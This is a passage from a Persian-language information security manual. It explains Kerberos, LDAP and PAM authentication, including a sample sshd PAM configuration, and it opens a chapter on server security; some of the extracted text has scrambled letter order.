 بليط صادر شـده     كاربر ي كچون  . دانداربر را مي  كدهنده هم رمز عبور     ند، چون آن سرويس   ك را تصديق    Kerberos ةدهندسرويس
تواننـد     نيز مي  Kerberosديگر  ت  خدماليد سرويس مقصد رمزگذاري شده است       كه با   ككند  ارائه مي  سرويس تصديق بليط     ةبوسيل

  .نندكاربر را تصديق هويت ك

ليـدي  كنـد چـون بـا       كتوانـد از آن اسـتفاده         دزدد نمـي   مـي  Kerberos ةدهند بليط را از سرويس    كه براي استراق سمع ي    كسي  ك
  .دشناسه مهاجم آنرا نميك) اربرك و يا بدست آمده از رمز عبور Kerberos سرويس كليد يك(رمزگذاري شده 

  محرمانگيداده، و يکپارچگي و صحت تصديق هويت، 

Kerberos در حالـت عـادي از      . ه اسـت  كلان روي شـب   ك مـو  ليـدهاي خـصوصيِ   كگـذاري   ك سيستم عمومي براي به اشـترا      ك ي
Kerberos      يکپـارچگي و  تواند بـراي تـضمين      ليدها هم مي  كبا اين وجود توانايي تبادل      . شود   تنها براي تصديق هويت استفاده مي 

  .ار رودكداده و سري باقي ماندن آن بصحت 

ه ميـان دو  ك ـليـد  ك كاري و سرويس را با يك اطلاعات انتقالي ميان ايستگاه  ةليكتوان  باشد، مي تهديد جدي    كاگر استراق سمع ي   
نتقـال   از رمزگـذاري بـراي ا      MITدر  . شـود مـي ارايي  ك ـاهش  ك ـباعث  متأسفانه رمزگذاري   . ردكشده است رمزگذاري    مبادله  ل  كمو

  .ي نهكترونيكهاي الها مثل فايلها و نامهشود، اما براي انتقال بيشتر داده هاي عبور استفاده مي اطلاعات بسيار حساس مثل رمز

 درنظـر   رارك ـ براي جلـوگيري از حمـلات ت       كنيك اين ت  -شوند     ساعت منقضي مي   ۸ بعد از    Kerberos ةشده بوسيل هاي صادر  بليط
ديگـر  بـار   كياربري و رمز عبور خود را       ك ةنيد و شناس  ك را اجرا    kinit ةبرنامبايد   ساعت مجدداً    ۸ بعد از     بنابراين ١٧٧.گرفته شده است  

  . بليط جديد صادر شودك برايتان يKerberosنيد تا از طريق سرويس تصديق بليط كوارد 

اگر دو نفر اما با اينحال  ،ندكرائه مي نار رمزهاي عبور معمولي ا    ك امنيت بسيار بيشتري در      Kerberosاربري،  ك كهاي ت در ايستگاه 
اربر ك ـ و از آن پـس ايـن دو        ندكاربر را تصديق هويت مي    كاري هر دو    كاري وارد شوند، ايستگاه     ك ايستگاه   كبصورت همزمان به ي   

هاي ايـستگاه ورود از راه دور روي      خـدمات    بسيار مهم بود، لـذا       MITاين تهديد در    . جا بزنند ديگر  كبجاي ي خود را   خواهند توانست   
ان وجـود دارد  كهمچنين اين ام. از ورود مهاجمين جلوگيري شودمجاز اربر ك كفعال شده بودند تا هنگام تصديق هويت ي  اري غير ك
  .اربر را هنگام تايپ شدن بدست آوردكتا رمز عبور ند كتسخير افزار محلي را  نفر نرمكه يك

  Kerberos ةتهي

 قـسمت اسـتاندارد   كشـوند، و همچنـين ي ـ  ت ارائـه مـي  كن امروزه از طريق چندين شـر   يا مشابه آ   Kerberosسيستمهاي ايمني   
 به Windows 2000از . آيند   بشمار ميBSD و Linuxهاي ، و بسياري از نسخهSolaris ،Mac OS Xعاملهايي مثل سيستم
ه ميـان  ك ـان وجـود دارد  ك ـايـن ام همچنـين  .  قرار داده شده اسـت Kerberos 5 نسخه از ك يMicrosoft Windowsبعد در 

  ١٧٨.ردكاستفاده  Kerberosاز  بتوان Windows و بسترهاي Unixماشينهاي 

انـادا در   ك بـراي شـهروندان ايـالات متحـده و           MIT مربوط به    Kerberos ةنيد، متن برنام  ك را از ابتدا نصب      Kerberosاگر بايد   
 قابـــل http://www.crypto-publish.org  و بـــراي ديگـــران در آدرس/http://web.mit.edu/kerberos/wwwآدرس 

                                                                                                                                            
  .كليد تعيين كردتوان يك حداكثر زماني براي معتبر باقي ماندن  ميپيکربنديهادر بعضي از    ۱۷۷
 بـه اسـتفاده از      Windowsهـاي   گيرنده داده كه اثر آن مجبور كردن سرويس       kerberos به پروتكل    اختصاصيدر نظر داشته باشيد كه مايكروسافت تغييرات           ۱۷۸

kerberos هاي  دهنده سرويسWindows لذا در يك محيط مخلوط      .  استWindows     هاي  دهنده و يونيكس، بهتر است سرويسkerberos   ماشـينهاي 
Windows 2000 هاي گيرندهبتوان هم از سرويس باشند تاWindows هاي گيرندهو هم از سرويسUnix  كرداستفاده.  
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 Kerberosدر . ص را نيـز بيابيـد  يهـاي اعـلام نقـا    توانيد ارتقاهاي رسمي، اصلاحها، و اطلاعيـه   در اين آدرسها مي   . دسترسي است 
سـازي  ه پياد كهمچنين ي . نيدكاستفاده  آن   ةاز آخرين نسخ  ه  كبسيار حائز اهميت است     ؛ لذا   وجود داشت شده  ال شناخته كچندين اش 

 MIT مربـوط بـه   Kerberosند و بـا  كه بصورت پويا توسعه پيدا مي  كوجود دارد   " Heimdal" به نام    Kerberosافزار    رايگان نرم 
در تغييـرات لازم    . نيـد ك تهيـه    /http://www.pdc.kth.se/heimdal را از آدرس     Heimdalتوانيـد   مي. بسيار سازگار است  نيز  

بـراي  توانيـد    مـي  نيـد ك اگر خودتان بايد آنهـا را اعمـال          بسيار حياتي هستند؛  سيستم شما    با   Kerberosسازگاري  براي  پيکربندي  
  .نماييد رجوع Kerberosخود اطلاعات بيشتر به اسناد ارائه شده در 

Kerberos و LDAP  

Kerberos   با LDAP) شوند  يب مي كديگر تر كبخوبي با ي  ) شوده در قسمت بعدي توضيح داده مي      ك .Kerberos تواند براي تصديق     مي
ه ك ـاربران ك ـتوانـد اطلاعـات     هـم مـي  LDAP ةدر مقابل پايگاه داد. ار رودك بLDAPها و ارتقاهاي   queryردن  كهويت و ايمن    

اربر، پوسته، شـماره تلفـن، يـا ديگـر اطلاعـات            كتوري خانه   ك مثل داير  - است   Kerberos تنها   ةشده بوسيل  حفاظت ةچگالتر از داد  
نند و بـه همـين دليـل هـم     ك را ارائه   +NIS و   NIS قابليتهاي   ةتوانند هم   در مجموع، اين دو سرويس مي     . ندكيره   را ذخ  -سازماني  

  ١٧٩.روندار ميكبسيار زياد ب

خـدمات   از   Kerberos از   Windowsسـازي   پيـاده . رودار مـي  ك ب Kerberosليدهاي  كردن  ك براي ذخيره    LDAPگاهي اوقات   
Microsoft Active Directory) سازي از پياده كيLDAP (  ليـدهاي  ك ةبـراي ذخيـرKerberos  نـد ك اسـتفاده مـي .Heimdal 

Kerberos ند، اما ك را پشتيابي ميقابليت  اينMIT Kerberos ه در كنيست، چرانگراني و البته جاي  نه؛MIT Kerberos  اين
  .شوندذخيره مي Kerberos هايدهندهسرويسخود در ليدها ك

  Kerberosمحدوديتهاي 

بـه آنهـا اشـاره       ذيـلا نقايص زيادي دارد کـه در       هنوز هم   ل اساسي است اما     ك مش ك عالي براي ي     راه حل  ك ي Kerberosچه  اگر
  :شود مي

   تغيير داده شودKerberosار با كه بايد بصورت اختصاصي براي كهر سرويس شب
روند اعمال اين تغييـرات روي      .  بايد تغيير داده شود    ندك استفاده   Kerberosه بخواهد از    ك اي ، هر برنامه  Kerberosبعلت طراحي   

اربردي در دسترس باشد، و يا برنامـه        ك ةار بايد متن برنام   كمعمولاً براي اين  . شود  ناميده مي " Kerberizing"اربردي معمولاً   ك ةبرنام
  ).ي اين فصل در مورد آن بحث خواهد شده در انتهاك PAMمثل ( ادغام شده Kerberosه از قبل با كند ك چارچوب امنيتي استفاده كاز ي

Kerberosندك ار نميك زماني خوب ك در محيط اشترا  
Kerberos      خود را با چنـد نفـر   ةاربر رايانك كاگر ي. اربرد وجود داردك كاري آن ي كه در هر ايستگاه     ك براي محيطي طراحي شده 
 در آنـصورت بليطهـاي    . بـه سـرقت بـرود      مهـاجم    كر توسـط ي ـ   اربكه بليط   كان وجود دارد    ك گذاشته باشد، اين ام    كديگر به اشترا  

  .فريبنده مورد استفاده قرار بگيرنداندازي راهتوانند براي  شده مي دزديده

Kerberosايمن و در دسترس ةدهند سرويسك به ي Kerberosنياز دارد   
 اصـلي رمزهـاي عبـور و بطـور          ةيگاه داد ه حاوي پا  كزي نياز دارد    ك ايمن مر  ةدهند سرويس ك به ي  Kerberosبدليل نوع طراحي،    

 Kerberos ةدهنـد از هـيچ چيـزي غيـر از سـرويس    بايـد  دقيقـاً  سازمانها براي تضمين امنيت، . مداوم در دسترس قرار داشته باشد 

                                                                                                                                            
در آدرس " LADPو  Kerberos بـا  NISجـايگزيني  "خـود بنـام   در پايگاه وب اي ها در صفحهراهنماي خوبي براي اين برنامه) Jason Heiss(جيسن هيس  ۱۷۹

http://www.ofb.net/~jheiss/krbldap ارائه كرده است.  
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ي امن است نگهـداري     كه بصورت فيزي  ك محيط   كليد و در ي   ك بايد هميشه تحت قفل و       Kerberos ةدهندسرويس. دننكاستفاده ن 
  .گردد غيرقابل استفاده ميKerberos ةك خراب شود، تمام شبKerberos ةدهند اگر سرويس.شود

 كه روي همـان ديـس     ك -دهنده  ليد خصوصي اصلي سرويس   كشده را با    هاي عبور رمزگذاري     رمز ة هم Kerberos ةدهندسرويس
 ةدهنـد   ه اگر سـرويس   كست   ا سئله به اين معنا   اين م . ندك رمزگذاري مي  -ه رمزهاي عبور رمزشده در آن هستند        كسختي واقع شده    

Kerberos اربران بايد تغيير يابندك مورد سوء استفاده قرار بگيرد، همه رمزهاي عبور.  

Kerberosگيردميرا ناديده ) اسبهاي تروا(افزارهاي سيستمي   تغييرات نرم  
Kerberos  ه پـشت رايانـه     ك ـاربري  ك ـ يعني بـراي     -ند  كيت  اربر تصديق هو  ك خود را براي     ،اري محلي كشود ايستگاه    باعث نمي

مبود براحتي توسط مهاجم آگاه به اين       كاين  . ه بفهمد رايانه مورد سوء استفاده قرار گرفته است يا نه          كنشسته هيچ راهي وجود ندارد      
اري از ايـستگاههاي    ه، بـسي  ك شب كه حتي در ي   كلات پيامدهاي اين حقيقت هستند      كاين مش . گيردبرداري قرار مي  مسئله مورد بهره  

  .نند هستندك ه اجرا ميكهايي  هاي محلي از برنامهاري داراي نسخهك

Kerberosبوجود آورديابنده گسترشن است عدم اعتماد ك مم  
ه از آن رمـز عبـور       ك ـان وجـود دارد     كننده اين ام  ك استراق سمع    كاربر افشا شود، براي ي    ك كدهنده يا ي   سرويس كاگر رمز عبور ي   

  .ار بنددكاربران بكها و دهندهسازي سرويسند و اين اطلاعات را براي گمراهكشايي بليطهاي ديگر استفاده براي رمزگ

Kerberos آن پايـة ه مبـاني    ك ـاز آن مهمتـر اين    ، و   شـود ه است و از آن به وفور اسـتفاده مـي          كاري براي امنيت شب   ك سيستم   ك ي 
  .باشند يق فروشندگان در دسترس مستقيم قرار دارد نيز موجود ميه از طركه كاي در سيستمهاي امنيت شببصورت فزاينده

LDAP  
ه ك ـ اسـت  X.500تـوري  ك از سرويس دسترسي به داير     دردسرم  ك ة نسخ ك، ي )LDAP" (توريكوزن دسترسي به داير   كل سب كپروت

انـال امـن    ك كا دسترسي از طريق ي    ب) اربري، و رمزهاي عبور   كهاي  مثل سيستمهاي تصديق هويت، شناسه    (توري  ك اطلاعات داير  ةبراي ذخير 
مکانيزم توصيف شده،  ۱۷۷۷شمارة  RFC در ۱۹۹۵ه سال   ك LDAPv2.  وجود دارد  LDAP اصلي از     ةدو نسخ . رودار مي كه ب كشب

ه در  ك ـ LDAPv3.  باشـد  Kerberosبـا   تعامـل   سـازي آن در     ه پيـاده  كآورد مگر اين  براي رمزهاي عبور بوجود نمي    خاصي  امنيتي  
RFC   توصيف شده از     ۲۲۵۱شمارةSASLندك هم پشتيباني مي   ١٨٠. SASL   ردن تـصديق هويـت     ك ـديگر براي ايمن    روش   چند

و هـم  ) OpenLDAP 2.x (LDAPv3 ةاستفادباز و پر سازي متنعلاوه بر اين، هم پياده. نمايدميارائه ) !Kerberosاز جمله (رمز عبور 
 SSL/TLS، اسـتفاده از  ) آغاز شدWindows 2000ه با كهايي روسافت، در نسخهك مايActive Directory(سازي تجاري ترين پيادهپراستفاده

  .نندك را پشتيباني مي- از جمله روالهاي تصديق هويت -دهنده گيرنده و سرويس ل خط ارتباطي ميان سرويسكردن كبراي ايمن 

LDAP        بعنوان مثال بسياري از سازمانها از        .ندك توري را ارائه مي   ك به خودي خود بسياري از سرويسهاي عمومي داير LDAP   بـراي 
به اين دليل در ايـن فـصل در مـورد           . نندك ارمندان استفاده مي  ك، و فهرست آدرس     كترونيكپست ال آدرس   تلفن،   ةسازماندهي شمار 

LADP  بطـور   هك ـل دهـد، و نيـز بـه ايـن دليـل             كه و تصديق هويت را ش     ك سيستم اطلاعات شب   ةتواند پاي   ه مي كگوييم     سخن مي 
  .رودار ميكردن اين اهداف بك براي برآورده - Linux و Windwos بخصوص در سيستمهاي -اي فزاينده

  LDAP ل كپروت

 اشـيا و شـامل صـفاتي        ة يا چند طبق   ك متعلق به ي   كه هري ك - درخت از اقلام داده      كل ي ك به ش  LDAP ةدهنداطلاعات سرويس 
ه آنـرا از سـاير   ك ـ است ١٨١)كنام مـشتر " (cn" صفت به نام كهر قلم داده شامل ي.  سازماندهي شده است- مقادير خود هستند     براي

  .سازد اقلام با پدر مشابه در همان درخت متمايز مي

                                                                                                                                            
180  Simple Authentication and Security Layer, RFC 2222 
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اربر بـراي   ك ـ، نـام    )cn(اربر  كامل  كه نام   كشامل صفاتي است    " posixAccount" قلم داده متعلق به طبقه شيء        ك مثال، ي  بعنوان
، )homeDirectory(تـوري خانـه     ك، داير )gidNumber و   uidNumber( گروه   ة شناس ةاربر و شمار  ك ة شناس ة، شمار )uid(ورود به سيستم    

  .ندك اربر را مشخص ميك و ساير اطلاعات )loginShell( ورود به سيستم ةپوست

بـه هـم     و تعـاريف صـفات    ه از نظر منطقـي      ك است   ١٨٣اشياهاي  گونهاي از     به معناي مجموعه   ١٨٢شما ك، ي LDAP در اصطلاحات 
  .شودتعريف مي) nis.schema(ه كسرويس اطلاعات شبماي ش در posixAccountشيء گونة . مربوط هستند

LDAP ةگيرنـد سرويس. گيرنده است   سرويس - دهنده  ل سرويس ك پروت ك ي LDAP      ةدهنـد  تقاضـاهايي بـراي سـرويس LDAP 
 كد تقاضاهايي براي ايجاد تغيير، انجام جستجو، بازگرداندن ي ـ        توانن  ها مي   گيرنده  سرويس. ندك و پاسخهاي آنرا دريافت مي     فرستد  مي

  .دهنده بفرستند  سرويسة موجود در حافظةامل از اقلام دادك زير درخت ك خاص، و يا بازگرداندن ية قلم دادكيا بيشتر صفات ي

  جامعيت و قابليت اعتماد

ننـد تـا جامعيـت داده و    كچند قابليت مهم ارائـه مـي  ) OpenLDAP 2.x يـا  Active Directoryمثل  (LDAP مدرن هايدهندهسرويس
  :نندكقابليت اعتماد به سيستم را تضمين 

  جامعيت و محرمانگي داده
را در تعـاملات     ١٨٤انتهـا بـه   انتهـا   رمزگذاري  تواند   را بپذيرد، و مي    TLS ةشده بوسيل تواند اتصالات ايمن   مي LDAP ةدهندسرويس
  .سازدمين كممرا غيردر اطلاعات مجاز تغييرات غيرانجام  TLSعلاوه بر اين، . ندكه دهنده ارائسرويس - گيرنده سرويس

  دهنده تصديق هويت سرويس
ز صدور گواهي   ك مر ك ي ةه بوسيل كليد عمومي رمزنگاري نسبت داده شده       ك ك ي LDAP ةدهند، به سرويس  TLSبراي پشتيباني از    

خواسـتند    ه مـي  ك ـاي  دهندهه با همان سرويس   كتوانند مطمئن باشند     مي  با آن گواهي   LDAPهاي    گيرنده  سرويس. امضا شده است  
  .اند ردهكارتباط داشته باشند ارتباط برقرار 

  گيرنده تصديق هويت سرويس
ه تنهـا  ك ـننـد  ك بخواهنـد، تـا تـضمين    TLSهـاي   هـا گـواهي  گيرنـده تواننـد از سـرويس    همچنين مي LDAPهاي  دهندهسرويس
  .نندك بفرستند يا آنرا به روز queryدهنده وانند به سرويست گيرندگان مجاز مي سرويس

  ثيركت
ند تـا درصـورت خـراب شـدن         كثير  كهاي ثانويه ت  دهنده را روي سرويس   LDAP ةتواند تمام مخازن داد      مي LDAP ةدهندسرويس
  . از دست نرودLDAPاطلاعات حياتي  ، اصليةدهندسرويس

LDAP براي  پذير  قدرتمند و انعطاف   جايگزين   كيNIS   و NIS+ هـاي تـصديق هويـت، از مزايـاي         نار اطلاعـات داده   كدر  .  است
شـده  هاي مرتبط با تصديق هويت و وجود ارتباط ايمـن         هايي غير از داده   ردن و ارائه سرويس به داده     ك توانايي ذخيره    LDAPاصلي  
 كرسـاني ي ـ روزتـر از بـه   ار پيچيـده  بـسي آن   ةرسـاني پايگـاه داد    روزه بـه  ك ـايـن اسـت      LDAPال اصـلي    كاش.  است TLS ةبوسيل

  .استبوجود آمده  LDAPسازي راهبري   است، اما ابزارهاي مختلفي براي سادهNIS ةدهند سرويس

                                                                                                                                            
182  Schema 
183  Object Classes 
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 راهنماي امنيت فناوري اطلاعات ٣٤٤ 

  LDAPتصديق هويت با 

RFC   اي براي استفاده از       شيوه ۲۳۰۷شمارةLDAP  اگرچه ايـن    . ندكه توصيف مي  ك سيستم اطلاعات شب   ك بعنوان يRFC ك ي ـ 
سازي آن  طرح براي پيادهكاي مورد استفاده قرار دارند، و ي      انيزمهاي آن بطور گسترده   ك، اما م  ندكنميي را مشخص    استاندارد اينترنت 
(nis.schema) در OpenDAP 2.x  اربران ك ـه ك ـنـد  ك را تعريـف مـي  " اشـيا هـاي  گونـه "طـرح يـاد شـده    .  قرار داده شـده اسـت

)posixAccount   و shadowAccount(   گروهها ،)posixGroup(  ،خدمات) ipService( لها  ك، پروت)ipProtocol(      فراخوانيهاي توابـع از راه ،
 و سـاير    )nisNetgroup  ،nisMap  ،nisObject (NISاي    هكهـاي شـب     ، گروه )ipNetworks(ها    هك، شب )ipHost(، ميزبانها   )oncRPS(دور  

  .ندك موارد را نمايندگي مي

 مجـدداً نوشـته شـود؛ ايـن مـسئله مـشابه رونـد               LDAPتعامـل بـا     ايـد بـراي     ند ب ك  را تصديق هويت مي    اربرانكه  كهر سرويسي   
"kerberizing " ار با كه براي كاستKerberosعاملهايي نظيـر  اين روش براي سيستم.  لازم بودMicrosoft Windows ه ك ـ

 امـا هنـوز هـم       - سـاده اسـت      ندك فروشنده مي  ة منتشرشده بوسيل  ١٨٥ايواسط برنامه  كهمه تصديق هويتها را ملزم به استفاده از ي        
  .گيرنده لازم است افزار سرويس ي از نرمكوچكبازنويسي قسمت بسيار 

افـزار    ه بعنـوان نـرم    ك ـعوض دو روش جايگزين بوجود آمـده        در. نيست ارآكچندان   Unixعاملهاي مبتني بر      براي سيستم  روشاين  
 nss_ldap روش اول.  قرار داده شده اسـت Linuxهاي  منتشر شده و در بيشتر توزيعPADL Softwareت ك شرةباز بوسيلمتن

 پايگاه  كدهد تا بصورت نامرئي از ي       اربر تغيير مي  كرا براي بدست آوردن اطلاعات      ) ()getpwentcمثل  ( Cاي  تابخانهكه توابع   كاست  
تفاده از ايـن توابـع را بـراي    بسياري از سيستمها از قبل هم اس   . ندك، و ساير موارد استفاده      NIS بجاي فايلهاي محلي،     LDAPداده  

  ١٨٧.دانستندمجاز مي) etc/nsswitch.conf/معمولاً ( ١٨٦تعويض نام سرويس فايل ك يةاستفاده از منابع مختلف اطلاعات بوسيل

، PAM مـاجول    ك بعنـوان ي ـ   LDAPتـصديق هويـت     . شـود    در بخـش بعـدي بحـث مـي         PAMاستفاده از چـارچوب     دوم  روش  
pam_ldap برخلاف  . سازي شده است  ، پيادهlibnss_ldap  ،pam_ldap     ة با استفاده از پايگاه داد LDAP     تنها تصديق هويـت 

 شـما از اسـتاندارد      LDAP ةدهنـد اگـر سـرويس   . نمايـد   و اطلاعـات ديگـري از پايگـاه داده را منتـشر نمـي              ندكاربر را فراهم مي   ك
nis.schema   ردن تصديق هويت    كند، اضافه   ك استفادهLDAP  ةشده بوسـيل  لنترك سرويس   ك به ي PAM    ِاضـافه   ، بـه سـادگي 

اربري، و  ك ـ را براي تصديق هويت، ارزيابي اعتبار حـساب          pam_ldap.soه  ك ، آن است  PAMربندي  ك خط به فايل پي    كردن ي ك
  .ندكمشخص " افيك"تغيير رمز عبور، بعنوان 

  هاي قابل اتصال تصديق هويتماجول
تا داشته  ك ي ة شيو كاربران وجود دارد، بهتر است براي تصديق هويت ي        كويت  ه روشهاي بسيار زيادي براي تصديق ه      كبه اين علت    

 ١٨٨تـصديق هويـت   ماجولهاي قابل اتصال    سيستم  . ه بتواند چند سيستم تصديق هويت را براي نيازهاي متفاوت در بر بگيرد            كباشيم  
)PAMs (روش اينچنيني استكي  .PAMة در ابتدا بوسيل SUNآن براي سازيهاي توسعه يافت و پياده Solaris ،Free BSD و ،

 ةه هر برنام  كند  ك اي ارائه مي   واسط برنامه  كتابخانه و ي  ك ك ي PAM. هاي مورد استفاده هستند   PAM بيشترين   Linuxبخصوص  
 آنـرا   PAMه  ك ـهر سيـستم تـصديق هويـت        . ندكتواند از آن استفاده       ميمخصوص به خود     تصديق هويت    اربردي بجاي سيستم  ك

سـازي   پياده -شده  ي بارگذاري كه بصورت دينامي  ك -ة مشترک   تابخانك ك و در عمل بصورت ي     PAM ماجول   كن ي شناسد بعنوا  مي
  :اربران در دسترس قرار دارندك از طرق زير براي تصديق هويت PAMماجولهاي . شده است

 ؛etc/shadow يا etc/passwdفايلهاي  •
• NIS يا NIS+؛ 

                                                                                                                                            
185  Application Programming Interface (API) 
186  Name Service Switch 

 .مراجعه كنيد PUIS کتاب ۴۵۳ تا ۴۵۰به صفحات  libnss-ldapتر در مورد پيكربندي تصديق هويت با استفاده از براي جزئيات بيش ۱۸۷
188  Pluggable Authentication Modules 
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• LDAP؛ 
• Kerberos 4  ياKerberos 5؛ و 
 ١٨٩.Berkeleyفايل دلخواه پايگاه داده  كي •

ربنـدي  ك پي etc/pam.d/ مسيرتر در فايل خودش در       و يا بصورت معمول    etc/pam.conf/ يا در فايل     PAM آشنا با    سرويسهر  
.  اسـت  etc/pam.d/sshd/، فايـل    Linuxهاي   در نسخه  ssh ةدهند براي سرويس  PAMربندي  كبعنوان مثال، فايل پي   . شود  مي
ذيـلاً مثـالي   . رودار ميكاند بربندي نشدهكه صراحتاً پيك PAM آشنا با  خدماتفرضها به     براي ارائه پيش  " other"بنام   سرويس   كي

  : آمده استLinux ةدهند سرويسك روي يsshd براي PAMربندي ك فايل پيكاز ي

auth required /lib/security/pam_env.so 
auth sufficient /lib/security/pam_unix.so 
auth required /lib/security/pam_deny.so 

account required /lib/security/pam_unix.so 
password required /lib/security/pam_cracklib.so retry=3 
password sufficient /lib/security/pam_unix.so nullok use_authtok md5 shadow 
password required /lib/security/pam_deny.so 

session required /lib/security/pam_limits.so 
session required /lib/security/pam_unix.so 

ه بـا   ك ـماجولهـايي   . شـود   شده دنبال مي   داده ه به ترتيبِ  كند،  ك  تصديق هويت را براي اين سرويس تعريف مي        روال" auth "خطوط
"required) "اربر بصورت تـصديق    كل شوند،   ك و اگر در اجرا دچار مش      -آميز اجرا شوند    اند بايد بصورت موفقيت   مشخص شده ) لازم

را بصورت چندگانـه تعريـف      " required"توان ماجولهاي     مي. گردد از دسترسي او جلوگيري مي     شود و گرفته مي  درنظر   هويت نشده 
انـد،    مـشخص شـده   ) افيك ـ" (sufficient"ه بـا    ك ـماجولهايي  . آميز اجرا شوند   ماجولها بايد بصورت موفقيت    ةليكآنصورت  در  ه  كرد  ك

  .دهندتصديق هويت را خاتمه ميروال في هستند و اكاربر كآميز باشد براي تصديق هويت ه اجرايشان موفقيتكدرصورتي

ــاجولي    ــين م ــال اول ــن مث ــدر اي ــي ك ــرا م ــود ه اج ــت pam_envش ــ اس ــي را در   ك ــاي محيط ــاري متغيره ــصورت اختي ه ب
/etc/security/pam_env.conf ِآميز اجرا شـود تـا       بايد بصورت موفقيت   -است  " لازم"اين ماجول   . ندك  مي ك مقدار يا پا    تعيين

 و Unix - /etc/passwdه بـا فايلهـاي رمـز عبـور     ك است pam_unix بعدي ةماجول اجرا شوند. يت به انجام برسد  تصديق هو 
etc/shadow -   افي ك ـاربر ك ـاگر اين عمليات با موفقيت انجام شود براي تصديق هويت . دهد  عمليات تصديق هويت را انجام مي

انجامد تا بـه روال تـصديق   ست ميكه فقط به شك است pam_denyآخرين ماجول تصديق هويت     . امل شده است  كروال  است و   
  .هويت ناموفق پايان دهد

ند، و بـراي    كاربري را اعمال مي   ك مبني بر مسن يا منقضي شدن حسابهاي           قوانين سيستم  ةربندي همچنين هم  كاين فايل خاص پي   
ربنـدي از   كباشد، اين فايـل پي    نيز داشته   يير رمز عبور     قابليت تغ  sshdاگر  . دهداربر محدوديتهايي قرار مي   ك sshdمنابع در نشست    

نـد، و رمزهـاي عبـور را در         ك جلـوگيري مـي   نيـز   ه به آساني قابل حدس زدن باشـد         ك رمز عبور    كاربر به ي  كتغيير رمز عبور توسط     
/etc/shadowتابع رمزنگاري ةشده بوسيل بصورت رمزگذاري MD5 نمايدمي ذخيره.  

اربري كه بعضي از حسابهاي     كان وجود دارد    كبعنوان مثال اين ام   . ربندي شود كه چند صورت مختلف پي    تواند ب    مي PAMزيرسيستم  
يب نمود، و يا بـر اسـاس زمـان روز           ك عبارت رمزي تر   ك را با ي   ك روش بيومتري  ك ي ١٩٠رد،كرا ملزم به دو يا سه رمز عبور جداگانه          

                                                                                                                                            
 ـSendmail در SMTPهاي كاربردي مثل تصديق هويت ها براي شما كافي نيستند، بعضي از برنامه   اگر اين لايه     ۱۸۹ ه صـندوقهاي پـستي    يا مديريت دسترسي ب

 ـ (Cyrus SASL تصديق هويت ة، از كتابخانCyrus imapd ةدهند سرويسةبوسيل  simple authentication and تـصديق هويـت و امنيـت،    ة سـاد ةلاي

security layer (مجزا و يا از طريق ةتواند كاربران را با يك پايگاه دادكنند، كه مياستفاده مي PAMنيست كه شـما بـراي   بل تصور غيرقا!  تصديق هويت كند
  . استفاده كنيدLDAP مبتني بر PAM مبتني بر SASLاز بخواهيد  يك كاربر imapتصديق هويت اتصال 
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. ردكصرفنظر  نيز  توان از رمز عبور     حتي مي وقعيتهاي فيزيكي بسيار ايمن     از طرف ديگر در م    . به اجرا درآورد   را   متفاوتيانيزمهاي  كم
PAM      ديگر تطبيـق   ك ـ مخاطره و فناوري موجود را بـا ي        ،به بهترين نحو  دهد تا بتواند    سياست دلخواه را مي    به راهبر توانايي انتخاب
  .دهد

PAM - ي از نقـاط    ك ـي. يش از صرفاً تصديق هويت انجام دهـد       بسيار ب ارهايي  كتواند     مي -ردند  كه مثالهاي بالا روشن     ك همانطور
 اسـتفاده از  ةاربري اجـاز كه حساب كارزيابي اين: ندك ديگر جدا ميكه به روشني چهار فاز و روال دسترسي را از ي         كقوت آن اين است     

، )فـاز تـصديق   (اربر  ك ـ ، تـصديق هويـت    )اربريك ـفـاز حـساب     (سرويس مورد نظر، در زمان مورد نظر، و از موقعيـت مـورد نظـر را دارد                  
ار انـداختن   ك ـانـدازي و از     ، و راه  )فاز رمز عبور  (ار لازم باشد    كه اين ك تصديق هويت در زماني    نشانهايرمزهاي عبور و ساير     رساني  روز به

  .هاي مميزي هم باشدردن دسترسي به منابع و ايجاد دنبالهكتواند شامل محدود  ه ميك )فاز نشست(اربر كنشست 

                                                                                                                                            
تواند ياند ماين روش زمانيكه رمزهاي عبور به كاربران متفاوت تخصيص يافته. استبحث رمزهاي عبور را در اختيار دارد اين يك مسئله قابل ة زمانيكه كاربر هم   ۱۹۰

  .را ايجاد كند" شاهد بودن"اي كه هر ورود به سيستم به دو نفر يا بيشتر نياز داشته باشد و يك دنباله مفيد باشد، بگونه
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  فصل ششم
  دهنده يت سرويسامن

  كليات
دهنـده را بـر عهـده دارد و ايـن           هـاي مختلـف سـرويس     اي اسـت كـه ميزبـاني برنامـه        دهنـده بـصورت عـام، رايانـه         يك سرويس 

دهنـدة  ها بعنوان سرويس    در اين فصل برخي از مشكلات امنيتي بسيار رايج در كاربرد رايانه           . شوند  ها روي آن اجرا مي     دهنده  سرويس
ها براي به حداقل رساندن اين مشكلات را          دهنده  دهيم و نحوة استقرار و پيكربندي سرويس         را مورد بحث قرار مي     خدمات اطلاعاتي 

هاي   دهنده  هاي كاربردي مورد استفاده بعنوان سرويس        و سپس نكات امنيتيِ برنامه     ١٩١امنيت ميزبان اين فصل ابتدا    . كنيم  تشريح مي 
  .كند هاي نام را بررسي مي ه دهند هاي پايگاه داده، و سرويس دهنده هاي وب، سرويس ندهده هاي فايل، سرويس  دهنده پستي، سرويس

  امنيت ميزبان
هاي خود را در مقابـل حمـلات بيرونـي ايمـن              دهنده  دهندة اختصاصي دارند، سرويس      از سازمانهايي كه در اينترنت سرويس      بسياري

زدن هستند، و بسياري از رمزهـاي عبـور نيـز براحتـي           ه بسادگي قابل حدس   برند ك كاربران هنوز رمزهاي عبوري بكار مي     . كنندنمي
  .شوند  شناسايي و دزديده مي١٩٢هاي اينترنتيافزارهاي ديدبان بستهنرمبوسيلة 

اي و پـذيريهاي رايانـه     سازمانيافته از مهاجمان وجود دارنـد كـه اطلاعـات مربـوط بـه آسـيب                گروه سازمانيافته و نيمه    هزارانامروزه  
هـاي امنيتـي سيـستمها بـا        هاي كامل نفوذ به لايه      كنند؛ فنون و در بسياري از موارد برنامه       برداري از آنها را مبادله مي      شهاي بهره رو

شوند، و   در حد وسيعي منتشر مي     ١٩٣)IRC (گفتگوي عمومي اينترنت  استفاده از پست الكترونيكي، گروههاي خبري، صفحات وب، و          
  .نيز در دسترس عموم قرار دارند) ، و اسبهاي تراوابرداري از تخريب سرويسفايلهاي بهره، ١٩٤نهاي رمز عبورديدبا(ابزارهاي ضد امنيتي 

پذير استفاده و در برخي موارد بصورت خودكـار بـه             هاي آسيب   درحال حاضر مهاجمان از ابزارهاي خودكار براي جستجو بدنبال رايانه         
